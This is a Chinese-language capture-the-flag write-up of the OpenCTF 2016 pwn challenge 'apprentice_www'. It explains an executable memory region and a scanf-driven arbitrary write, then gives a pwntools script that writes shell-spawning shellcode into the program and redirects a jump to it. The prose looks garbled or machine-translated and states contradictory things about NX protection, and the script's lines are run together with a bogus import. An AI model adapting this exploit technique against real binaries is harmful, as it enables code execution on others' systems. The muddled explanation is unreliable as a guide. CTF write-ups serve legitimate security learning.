
Openctf-2016-pwn-apprentice_www 题解
发布日期:2021-05-15 04:19:08
浏览次数:21
分类:精选文章
本文共 1052 字,大约阅读时间需要 3 分钟。
OpenCTF 2016级别2级防止给予漏洞分析
这篇文章提供了对2016年OpenCTF的一道pwn题的详细分析,特别是漏洞利用过程和方法。
文件信息
该样本为32位小端程序,受NX保护仅适用于某些内存区域。文件中包含指向已知漏洞利用场的内存空间位置,适合进行安全测试和研究。
漏洞定位
漏洞主要位于程序的main
函数中,具体是通过setup
函数中的mprotect
操作开辟了一段可写、可读和可执行的内存。结合NX保护的特性,开发者可能意外地为潜在的攻击者留下了 vulnerability。
在butterflySwag
函数中,程序通过scanf
函数将用户输入传递到内存地址,导致信息泄露。这种结构使得攻击者可以利用已知的内存空间来注入并执行任意命令。
利用分析
通过构造特定的输入,攻击者可以利用scanf
函数将自定义shellcode注入已知的攻击面内存空间。这需要注意读取方式和程序运行逻辑,尤其是%d
和%u
格式读取可能导致重读错误。
成功注入后,攻击者可以通过跳转指令(如jnz
)将控制权转移至注入的shellcode,合法地执行攻击代码。这就是该漏洞的核心利用方法。
wp脚本实现
from pwn import *import contextcontext.log_level = "debug"p = process("./apprentice_www")jnz_addr = 0x080485DAtext_addr = 0x080485DB# 初始化环境context(os="linux", arch="i386")# 生成shellcodeshellcode = asm(shellcraft.sh()).decode("ISO-8859-1")# 遍历注入shellcodefor i in range(len(shellcode)): p.sendline(str(text_addr + i)) p.sendline(str(ord(shellcode[i])))# 跳转到shellcode执行p.sendline(str(jnz_addr))p.sendline(str(0x00))p.interactive()
总结
该题目考验了攻击者的细心和深入分析能力。虽然 NX 保护阻止了直接的memory writes,但程序中的漏洞利用场通过巧妙的输入处理使得攻击成为了可能。理解输入/输出逻辑和内存布局是关键,这类问题往往需要细致的测试和调试才能完全掌握。